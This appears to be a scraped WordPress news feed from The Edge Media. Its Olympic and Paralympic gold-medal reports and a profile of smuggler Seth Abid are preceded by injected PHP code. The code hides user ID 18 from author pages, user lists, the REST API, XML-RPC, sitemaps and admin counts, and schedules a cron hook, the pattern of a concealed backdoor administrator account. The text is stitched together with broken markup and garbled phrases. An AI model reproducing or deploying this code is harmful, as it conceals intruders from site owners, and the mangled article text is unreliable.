add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Manish Narwal wins gold in Mixed 50m Pistol SH1 appeared first on The Edge Media.
]]>19-year-old shooter Manish Narwal won gold in Mixed 50m Pistol SH1 event while Singhraj Adhana won silver.
This is India’s third gold at the ongoing Paralympics. Narwal shot a total of 218.2, a Paralympic record, to claim the yellow metal while Adhana, who had won the bronze in the P1 men’s 10m air pistol SH1 event on Tuesday, added a silver to his kitty with an effort of 216.7.
Russian Olympic Committee’s Sergey Malyshev took home the bronze with an effort of 196.8.
Prime Minister Narendra Modi took to Twitter to congratulate Narwal and Adhana and said glory from the ongoing games continues.
“Glory from the Tokyo Paralympics continues. Great accomplishment by the young and stupendously talented Manish Narwal. His winning the gold medal is a special moment for Indian sports. Congratulations to him. Best wishes for the coming times,” he tweeted.
“The outstanding Singhraj Adhana does it again! He wins yet another medal, this time in the Mixed 50m Pistol SH1 event. India rejoices due to his feat. Congrats to him. Wishing him the very best for the future endeavours,” the prime minister said in another tweet. PM Modi also called up Narwal and Adhana to congratulate them.
Earlier in the qualifying round, Adana progressed to the medal round in fourth place with a total of 536 while Narwal shot 533 to qualify at seventh at the Asaka Shooting Range.
The post Manish Narwal wins gold in Mixed 50m Pistol SH1 appeared first on The Edge Media.
]]>The post Army Officer Neeraj Chopra is the first to win gold for India at Tokyo Olympics. appeared first on The Edge Media.
]]>He won the first Gold medal for India at the Tokyo Olympics. He impressed in the majority of the rounds.
On Saturday, Indian Javelin thrower Neeraj Chopra created history by becoming the first from the country to win a gold in track and field in the Olympics. He threw a distance of 87.58m to pick up the gold at the ongoing Tokyo Olympics.
Neerahis quest for a medal with a massive throw of 87.03 meters and was leading the pack after the end of first attempt.
Haryana government has announced Rs. 6 crore as reward for winning the gold medal in men’s javelin throw.
The post Army Officer Neeraj Chopra is the first to win gold for India at Tokyo Olympics. appeared first on The Edge Media.
]]>The post Tokyo Olympics : Malaika Mihambo wins long jump gold. appeared first on The Edge Media.
]]>Mihambo was laying in the bronze medal position ahead of her final jump, but powered down the runaway to register a season-best jump of 7.00 metres.
That left 2012 Olympic champion reese– who had led the competition with a best jump of 6.97m– with one final attempt to reclaim the lead.
But the American could only manage 6.84 with her last leap to settle for silver.
Nigeria’s Ese Brune took the bronze medal with a best jump of 6.97m.
The post Tokyo Olympics : Malaika Mihambo wins long jump gold. appeared first on The Edge Media.
]]>The post Pakistan’s ‘gold king’ who ends India’s dominance in gold smuggling appeared first on The Edge Media.
]]>The man was soon released from prison and only five months later, he appeared in a border village near Kasur. From there, he had to leave 45 gold bricks to escape from Amritsar police.
Six years later, this man once again surfaced when the Delhi Police tried to arrest him. At that time he was making a gold deal with a businessman of Moti Bazaar in Chandni Chowk.
The man managed to escape from the police, but one of his accomplices was caught and the police also recovered 44 gold bricks from him.
In 1977, a newspaper published from Lahore wrote about the man as “a golden fugitive, an extraordinary man, disguised and a fox-smart”.
The man’s name was included in the list of Pakistan and Interpol and he often traveled to Delhi, Dubai and London. And that man was none other than Seth Abid.
Seth Abid, who died at the age of 85, is also known as the ‘Gold King’ in Pakistan. He is counted among the richest people whose wealth depended on gold smuggling.
By the 1990s, he emerged as the most resource-rich property developer in the city, having a large number of properties in various parts of Lahore.
He also had a number of properties in Karachi and after being named in Panama Lake, he transferred his assets to the British Virgin Islands.
There are many stories about his exploits in the world of smuggling. Newspapers and social media still portray Seth Abid as a romantic and talk about his escape and glamorous life.
When newspapers introduced him as the ‘infamous Pakistani Gold King smuggler’, Seth protested against it. And presented themselves as those who made gold accessible to the general public.
Seth Abid told the editor of a Lahore newspaper: ‘Why am I called the infamous gold smuggler? I am providing cheap gold for the weddings of my sister and daughters. I am doing better service for society and country. Instead of getting praise and recognition, I got notoriety.
Seth Abid has now died. But his personality can survive in many forms and meanings in the coming days.
The post Pakistan’s ‘gold king’ who ends India’s dominance in gold smuggling appeared first on The Edge Media.
]]>